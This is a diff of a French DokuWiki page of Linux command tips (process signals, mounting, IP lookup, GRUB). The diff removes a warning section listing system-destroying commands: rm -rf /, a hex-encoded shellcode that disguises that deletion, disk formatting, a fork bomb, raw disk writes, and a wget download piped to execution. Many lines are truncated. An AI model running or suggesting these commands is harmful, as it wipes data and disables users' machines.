informatique:linux
Différences
Ci-dessous, les différences entre deux révisions de la page.
| Les deux révisions précédentesRévision précédenteProchaine révision | Révision précédente | ||
| informatique:linux [2024/12/03 12:47] – alexis | informatique:linux [2024/12/03 12:59] (Version actuelle) – alexis | ||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| ====== Linux ====== | ====== Linux ====== | ||
| <catlist informatique: | <catlist informatique: | ||
| - | ===== 7 commandes mortelles ===== | ||
| - | <WRAP alert> | ||
| - | Ces commandes vont détruire le système sur lequel elles vont être exécutées. Il ne faut ABSOLUMENT pas les exécuter ! | ||
| - | </ | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | # Cette commande va supprimer récursivement et sans confirmation l' | ||
| - | rm -rf / | ||
| - | # Cette commande est la version hexadécimale de la précédente. | ||
| - | char esp[] __attribute__ ((section(" | ||
| - | release */ | ||
| - | = " | ||
| - | " | ||
| - | " | ||
| - | " | ||
| - | " | ||
| - | " | ||
| - | " | ||
| - | "cp -p /bin/sh / | ||
| - | / | ||
| - | |||
| - | # Cette commande va formater le disque indiqué. | ||
| - | mkfs.ext3 /dev/sda | ||
| - | |||
| - | # Cette commande est une fork bomb. | ||
| - | : | ||
| - | |||
| - | # Cette commande va écrire des données brutes sur le disque indiqué. | ||
| - | any_command > /dev/sda | ||
| - | |||
| - | # Cette commande va télécharger et exécuter un programme. Si la source n'est pas connue, il s'agit peut-être d'un programme malicieux. | ||
| - | wget http:// | ||
| - | |||
| - | # Cette commande va déplacer la totalité des fichiers dans un répertoire qui n' | ||
| - | mv / | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | ===== Arrêter un processus ===== | ||
| - | Lorsqu' | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | # Utilisation du signal SIGKILL | ||
| - | kill -9 < | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | Cette commande ne doit être utilisée qu'en dernier recours car elle ne laisse pas le temps au processus en question de s' | ||
| - | Il ne peut pas : | ||
| - | * fermer ses connexions. | ||
| - | * supprimer ses fichiers temporaires. | ||
| - | * informer ses processus enfants. | ||
| - | * etc. | ||
| - | |||
| - | De manière générale, il faut : | ||
| - | - envoyer '' | ||
| - | - s'il ne répond pas, envoyer '' | ||
| - | - s'il ne répond toujours pas, envoyer '' | ||
| - | - en dernier recours, supprimer le binaire car son fonctionnement est mauvais. | ||
| - | |||
| - | ===== Afficher les informations d'une distribution ===== | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | lsb_release -a | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | ===== Monter un système de fichier dans l' | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | mount -t < | ||
| - | |||
| - | # Pour monter un CR-ROM | ||
| - | mount -t iso9660 < | ||
| - | |||
| - | # Pour monter un partage Windows | ||
| - | mount -t cifs < | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | Il est possible d' | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | mount -t cifs -o username=< | ||
| - | |||
| - | # Pour renseigner automatiquement le UID et le GID de l' | ||
| - | mount -t cifs -o username=< | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | ===== Autoriser un utilisateur à monter un système de fichier ===== | ||
| - | |||
| - | Par défaut, seul l' | ||
| - | Pour autoriser un utilisateur à faire de même, il faut configurer le fichier /// | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | username ALL=NOPASSWD: | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | ===== Trouver les informations du lecteur optique ===== | ||
| - | |||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | cat / | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | ===== Trouver son IP ===== | ||
| - | Pour trouver son IP depuis le terminal est aussi facile que de lancer la commande suivante : | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | # Version courte | ||
| - | ip -c -4 a | ||
| - | |||
| - | # Version longue | ||
| - | ip -color -family inet address | ||
| - | </ | ||
| - | </ | ||
| - | Pour la récupérer dans un script, il faut faire quelques manipulations, | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | ip -c -4 route get 1.1.1.1 | awk ' | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | ===== Configuration de la résolution de GRUB2 ===== | ||
| - | |||
| - | Par défaut, la résolution de la page d' | ||
| - | |||
| - | Pour changer la résolution, | ||
| - | * Ajouter la ligne suivante pour la résolution de la page d' | ||
| - | * Ajouter le paramètre // | ||
| - | |||
| - | Puis il faut appliquer ces changements : | ||
| - | * Avec la commande // | ||
| - | * Avec la commande // | ||
| - | |||
| - | ===== Concaténer des fichiers ===== | ||
| - | Il est possible de contaténer différents fichiers et de les afficher sur la sortie standard. | ||
| - | |||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | # Afficher le contenu d'un ou plusieurs fichiers | ||
| - | cat < | ||
| - | |||
| - | # Afficher le contenu de l' | ||
| - | echo < | ||
| - | # Ou | ||
| - | cat <<EOF | ||
| - | < | ||
| - | EOF | ||
| - | |||
| - | # Afficher le contenu de plusieurs fichiers dont l' | ||
| - | echo < | ||
| - | </ | ||
| - | </ | ||
| - | |||
| - | Il est également possible d' | ||
| - | |||
| - | ===== Affiche la date de l’installation du système ===== | ||
| - | <WRAP prewrap> | ||
| - | <code bash> | ||
| - | fs=$(df / | tail -1 | cut -f1 -d' ') && tune2fs -l $fs | grep created | ||
| - | </ | ||
| - | </ | ||
informatique/linux.1733258845.txt.gz · Dernière modification : de alexis
